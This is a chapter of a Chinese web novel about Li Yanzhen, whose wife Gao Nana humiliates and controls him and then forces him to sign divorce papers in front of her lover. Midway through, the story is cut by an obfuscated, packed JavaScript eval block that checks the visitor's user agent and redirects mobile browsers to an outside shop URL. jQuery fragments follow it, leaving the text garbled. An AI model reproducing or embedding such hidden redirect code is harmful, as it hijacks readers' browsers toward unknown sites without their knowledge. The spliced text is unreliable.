啪。
房间里响起一声清脆的耳光声。
李言贞被打得偏过脸,微长的刘海颤了下,落在眉间,显得格外可怜。
他显然对此已经习惯,没有半点反抗的意思,只是低着头,喃喃道着歉:“没、没有允许我出门,对不起,我不是故意的……”
“姐姐,和他这种人废什么话,赶紧让他把字签了。”
柔软舒适的大床上,年轻的男生漫不经心地系着衬衫扣子,刚进行到一半的好事被打断,他显然对李言贞十分不满。
身旁扔着高娜娜买给他的新手机,正播放着一首纸醉金迷的doi音乐。
他牵住高娜娜的手把她拉进怀里,技巧高超地亲吻着她的唇,嗓音温柔似水,“我不想姐姐因为这种废物生气。”
李言贞站在墙角,手里的离婚协议书被他攥出丑陋的褶皱,他麻木地盯着脚下的地面,这不是自己第一次看见他们接吻。
高娜娜从来没有刻意隐瞒过她有了别人这件事,离婚也早在一个月前就提了出来。
对方叫路卓,是临大研二的高材生,和他们同专业,一次校友会上认识。
一支黑色签字笔扔在他脚边,高娜娜从路卓怀里坐起身,不耐烦地催促:“签字,然后滚蛋。”
“娜娜,是、是我做错什么了吗?”李言贞小心地开口,“我、我可以改的,娜娜,只要不离婚……不离婚好不好?”
哭求了太久,李言贞喉咙发哑,脑子里也麻木空白,只剩下一个本能的、根深蒂固的念头。
他不能离婚。
离婚了,他就彻底没有家了。
高娜娜嗤了声,说:“李言贞,你别忘了,当初我是看你可怜,才好心和你结婚的。不然像你这样的人,没爹没妈,一个精神病的姑姑,还有一个张口就要钱的表弟,谁会愿意嫁给你啊?”
“和你结婚两年,整天看着你这个没用的废物在眼前晃,我已经够够的了。现在我好不容易调到星序研发部当了总监,以后少不了同事间的应酬,当然要找一个体面的丈夫,而不是你这种窝囊废,知道吗,李言贞?”
被骂作废物的男人抖了抖,站在那里,一个字都不敢反驳。
高娜娜总是在骂他的时候很大声地叫他的名字,好像在刻意地要他记住一样。
“放心,不会让你没地方住。以后你还住在家里,不用搬出去,和以前一样做家务,就当抵你的食宿费了。”
高娜娜看着他这副样子,心情倒是好了一点,大方地抛出了她早就准备好的条件。
现在的李言贞,没有工作,没有房子,没有钱,一旦净身出户,他将一无所有。
她干脆好心地把他留下来,继续做个免费的保姆好了。
毕竟她用了三年时间,把一个当初自己只能缩在角落里远远仰望的优秀男人,变成眼前这个唯唯诺诺依附于她的无用人夫,这其中的成就感带给她的兴奋和快活,是多少钱都买不到的,她当然舍不得就这样把李言贞丢掉。
或许这就是老天爷给她的补偿吧——
她普通了二十多年,从小到大都是人群里最不起眼的那个。
容貌,成绩,性格,家庭,样样都普通得乏善可陈。
高中,高娜娜鼓起勇气向喜欢了很久的学长表白,结果对方连她的声音都没听见,直接走开了。
从那之后,敏感的她逐渐变得自卑,胆怯,不敢参加集体活动,不敢和人交际来往,只敢躲在没人的角落,老鼠一样地,阴暗地窥视着,比较着所有人。
李言贞的存在,就像是寂静夜幕里一轮孤高的冷月,不张扬,却是毫无疑问的醒目耀眼。
高娜娜总会在同门学生围在李言贞身边请教问题的时候,抱着书本作遮掩,站得远远的,嫉妒地盯着他清冷英俊的脸庞。
高娜娜知道,她不过是一只阴沟里的老鼠,这辈子都不会和李言贞这样的人有所交集。
直到那一天。
她照例在二食堂三楼人最少的窗口打一份难吃的炒面,正想找个角落的位置坐下,忽然看见不远处一阵骚动。
她混在围观的人群里,看见李言贞跌倒在地上,一个中年女人正一边打他一边骂骂咧咧,“成成都没钱交补课费了,你还有脸在这里吃饭啊?没良心的赔钱货!白眼狼!钱呢,这个月的钱呢?”
那女人操着一口浓重的方言,疯了一样地翻着李言贞的口袋。
她看见李言贞的眼镜被打掉在地上,餐盘里的饭菜汤汁洒了满身,干净的白衬衫像一幅泼满了油漆的脏画。
身旁的人小声议论着,说那女人怕是精神病,要不要报警。
有人说精神病可惹不得,又有人说那是李言贞的姑姑,他从小父母离异,他妈不要他,爸爸为了另娶将他丢在姐姐家不管不问,白吃了她家这么多年的饭,她要点钱也属正常。
高娜娜兴奋地探着脑袋,原来平时永远整洁体面的,那个完美而不可亵渎的李言贞,竟然有着如此不堪的出身。
她偷偷拿出手机,想录下李言贞此刻的样子。
因为太过投入,她全然没注意到旁边的人什么时候散了,只看见一个女生奋力冲上前推开那发疯的女人,捡起地上的眼镜,递回李言贞手里。
很快有人冲过来把女生拉走了,小声说了句什么,似乎是劝她别惹事。
两人走远了,经过高娜娜身边,她下意识收起手机藏在身后,没多久,就听见李言贞好听的声音响起。
“谢谢你……帮我。”他把擦拭过后的眼镜重新架回鼻梁上,朝她看过来。
那一瞬,世界蓦然安静。
高娜娜缓慢地眨了下眼,此刻才发觉,空旷的过道里,只剩下她和李言贞迎面站着。
那轮可望不可及的明月,因为把她误认作那个帮他捡起眼镜的女生,第一次看向了她。
高娜娜心脏狂跳。
她知道,这是平平无奇又庸常普通的她,唯一能接近李言贞的机会。
不,不止接近。
想将他变成和自己一样的人,高高在上地支配他,将他踩进泥潭,变成一个毫无用处的废物,让他也尝一尝,只能仰望她的滋味。
血液兴奋地涌动,卑劣的欲|望叫嚣着,长出狰狞的獠牙。
高娜娜盯着他,鬼使神差地没有否认。
事情进行得出乎意料的顺利。
从那之后,一向很少和女生说话的李言贞,开始在实验室里主动帮她的忙。
她心安理得地接受着这份特殊的优待,实验室里逐渐传出流言,说她和李言贞是不是在交往。
她用小号混进八卦小群,做着阴暗的老鼠最擅长的事,“就李言贞那个精神病的姑姑,谁会和他谈恋爱啊?就算真谈了毕业了也得分手,哪个傻子愿意嫁给那样的家庭。”
等着众人被她带起风向,她再一张张截了图,把那些不堪入目的言语给李言贞看。
看着男生眼里一闪而过的落寞与自卑,高娜娜兴奋地扮演着一个合格的救赎者,温存地对他说。
“我们交往吧。”
“等毕业了就结婚——”
“我们会有一个属于自己的家。”
“我永远不会抛弃你的,言贞。”
……
“你这件衣服好土啊,穿成这样陪我聚会,丢死人了。”
“人家莹莹的男朋友又帅又有钱,你呢?以后别陪我出去了。”
“研究报告不是说今晚写好吗?老师在催我了,快点啊。”
“这个学期才发了三篇SCI?这样我怎么评今年的优秀新星,要你有什么用。”
起初高娜娜还是有些忐忑的。
可看到从来没被这样批评过的男生在她面前只是攥紧了手指,轻声说着对不起,沉默地继续努力的时候,她悬着的心便放了下来,行事也越来越过分大胆。
毕业后,她如愿进入梦寐以求的星序工作,也兑现了承诺,和李言贞结了婚,组建了家庭。
她当着李言贞的面撕掉了他的入职offer,男人系着围裙,低头站在沙发前,眼睁睁看着烫金的纸面上,“星序科技”几个字碎成无用的纸屑,扔在他的脚边。
“你就别出去工作了,万一你姑姑又像以前那样跑到公司闹事,你不嫌丢人,我可还要脸呢。”高娜娜倚在沙发里,懒洋洋地说,“以后就留在家里做全职主夫吧。我上班很辛苦的,你每天都要做好一日三餐,整理好家务,做好自己该做的事情,把我伺候好了,别给我添乱。记住了吗,李言贞?”
她知道,李言贞不会拒绝的。
是她,在李言贞最灰暗无助的时刻将他拉出了深渊,也是她,给了没人爱的他一个温馨的家,一处避风的港湾。
他早就离不开她了,不是吗?
高娜娜肆无忌惮地享受着这场恶劣的游戏。
掌控,践踏。
贬低,侮辱。
高高在上地支配一个完美优秀的男人所得到的巨大快感,如病态的肥料,疯狂地滋养着高娜娜,让她一天比一天自信从容。
她再也不是只能躲在暗处的老鼠,而是意气风发的大公司女白领。
现在的她正处于事业上升期,有钱有地位,路卓见到她的第一眼就被她吸引,看着她的时候总是满眼的崇拜。
时间长了,再好玩的游戏,也总是会失去乐趣的。
高娜娜想,她也是时候该追求一段真正属于自己的爱情了。
等路卓顺利毕业,她会内推他进入星序,领证,婚礼,生子……
她的人生,本来就该是这般光鲜亮丽的模样。
在此之前,唯一的阻碍,只剩下还占着她丈夫位置的李言贞。
“不想连房子都没得住的话,就赶紧签字。”高娜娜最后一次提醒。
李言贞动了动唇,终于蹲下身,捡起了地上的签字笔。
膝盖在刚才摔倒的时候磕伤了,一弯下去,剧烈的疼痛让李言贞晃了下,只能单膝贴地,借力稳住身体。
路卓揽着高娜娜,讥讽地笑了声:“姐姐,这废物想跪下来求你别离婚呢。”
跪下……求她吗?
李言贞恍惚地想,为了不离婚,他也不是没有这样做过。
沙发前,厨房里,卧室门口。
每一次高娜娜都会不耐烦地踹开他,像对待一条急于甩掉的、失去用处的狗。
偶尔她心情好的时候,也会表现出一点善心,“如果你能让我看到你的诚意,跪在这里一直到我下班回来,我就不离婚。”
李言贞信了。
他以为只要这样就能挽回高娜娜的心,就能留住他的家,他好不容易才拥有的家。
可是当房门打开,他渴盼地抬起头,一双膝盖细细地发着抖,等来的却是高娜娜讽刺的微笑。
“我有说过这样的话吗?”
她居高临下地把一纸文件拍在他脸上,“这是我请律师重新拟定的离婚协议书,你净身出户,毕竟这些年,你一分钱都没给家里挣过。”
李言贞攥着笔,目光落在签字栏,高娜娜已经签好了名字。
他不知道高娜娜是从什么时候起开始变的。
他曾经真的以为,他可以和高娜娜有一个真正意义上的,属于他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679572|207635||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家。
从记事起,他就借住在姑姑家里。
母亲不要他,父亲急着再婚,嫌他是累赘,哄骗姑姑帮忙照顾他几天,从此远走高飞,再无音讯。
姑姑是个没什么文化的乡下女人,丈夫喝醉酒被货车撞死了,她靠打零工养活家里,日子本来就过得拮据。
起初还念着亲情给他一口饭吃,到后来,生活的怨气终究压垮了这个倒霉的女人。
她开始对李言贞恶语相向,拿椅子砸他、扇他巴掌,骂他是赔钱货,索债鬼,饭也不愿给他,他经常只能舔表弟碗里剩下的米粒和菜汤果腹。
李言贞只能沉默地努力学习,尽可能多地拿奖学金,假期四处兼职,赚来的钱全部都交给姑姑。
至少,至少他还有一个家。
在这个世界上,还有一个可以去的地方。
即使姑姑对他再坏,他也不想,连这样的家都没有。
李言贞没想过姑姑会找到他的大学去。
他兼职的咖啡厅资金出了点问题,工资一直拖着没给,半个月,就迟了半个月没有给家里打钱,姑姑就像个疯子一样,将他在人前所有体面的伪装撕了个粉碎。
喧嚣吵嚷的食堂里,世界倾塌,视线模糊空白。
他听见周围人的议论,说他是穷鬼,是精神病的儿子,他们远远地站着,围观,嘲笑,却没有一个人愿意对他施以援手。
只有高娜娜跑过来,替他挡住了姑姑疯了一样落下来的巴掌,捡起摔碎了一角的眼镜,塞回他的怀里。
李言贞颤抖着戴上眼镜,重新建构的世界里,只剩下高娜娜,还站在他的眼前。
这个他此前从未关注过的、过分普通的女生,是他绝望灰败的人生里,唯一的一点温暖。
他是如此迫切地想要抓住它,一步步地顺着高娜娜的心意,妥协,退让,直到变成这副他自己都觉得陌生的模样。
完全地被养在那个几十平米的家里,连出门都要提前向她申请,因为脱离社会太久,彻底丧失了工作交际的能力,每个月靠着她打的生活费过活,其中大部分还要维持家里的开销。
他只能紧紧地依附着高娜娜,没有高娜娜,他不知道自己还能去那里,他不想,不想再变回以前那个无家可归的李言贞。
床上的两个人已经完全无视他的存在,开始投入地接吻。
他早就没有什么自尊可言了,听着那些羞耻的声音,也只是麻木地盯着空白的签名处。
至少,高娜娜还没有把他赶出家里,让他流落街头。
李言贞只能这样安慰着自己。
他沉默地按动签字笔,跪在地上,有些发抖地签下了自己的名字。
清秀端正的三个字,像是很遥远的,过去的他。
李言贞意识恍惚地站起身,把离婚协议书轻轻放在桌上。
推开门,他目光空洞地穿过走廊,按下电梯。
晚上十点,酒店大厅里空无一人,前台姑娘趴在桌上打着瞌睡。
玻璃门自动打开,风裹着大片大片的雪花,狼狈地吹了李言贞满头满脸。
身上单薄的毛衣和牛仔裤,是他去年在二手软件上花了几十块钱买的,在这样的天气里,完全起不到任何御寒的作用。
李言贞打着哆嗦,从裤子口袋里摸出冰凉的手机,打开打车软件。
现在已经过了公交末班车的时间,再加上恶劣天气,打车回去要十二块。
李言贞犹豫了下,决定走回去。
到家时已经很晚了。
李言贞用冻得几乎失去知觉的手在门锁上输入密码,换过鞋进了屋。
四十平米的一室一厅小公寓,装潢精致,在临城的黄金地段,月租金要两千五百块。
他曾经劝过高娜娜先租个便宜点的老小区,再攒几年就能付个首付,高娜娜冷笑着说他一个足不出户的家庭主夫懂什么,她现在可是在知名的大公司上班,住在那种破地方,万一被同事看见,在公司里她还怎么做人。
李言贞不敢说话,只能默默地把家里打扫得一尘不染,准时做好早饭送她上班,晚上守着她下班的时间,一边跪在门口为她换鞋,一边低着头说一声娜娜辛苦了。
知道高娜娜今晚不会回来,但李言贞还是机械地像平时一样,擦过地板,清理了厨房,刷了两遍马桶,准备好早饭的食材,然后才拖着疲惫的身体躺下休息。
他的床是一只用旧了的狗窝——
高娜娜是从来不允许他在卧室睡觉的。
她说他身上有他那个精神病姑姑的穷酸味,闻着恶心,甚至连沙发都不许他坐。
那只金毛犬是高娜娜刚工作的时候兴致勃勃地在狗舍买的,起初几个月她还爱不释手,后来因为它总是在家里到处乱拉乱尿,高娜娜实在无法忍受,就把狗狗送给了邻居。
狗窝扔在阳台的角落,只有不到一米长,缝隙里攒了不少狗毛,还沾着一股洗不掉的尿|骚味。
一躺下来,那股味道就直冲鼻子,往肺里去。
李言贞皱了下眉,侧过身,一双线条优越的长腿蜷缩着,腰背也难受地弓成弧线,即使如此,还是有大半个身子悬空着。
夜里的风断断续续地从窗户缝隙里透进来,男人清瘦的身体冷得微微打颤。
李言贞拉过一块旧床单盖在身上,摘下眼镜,用毛衣擦了擦镜片上的薄雾。
窗外,雪落无声。
李言贞捏着歪斜的镜腿,想起在酒店走廊里,那个弯腰帮他捡起眼镜的女人。
知意……
唔,那时候,实验室里,好像的确有一个叫知意的女生。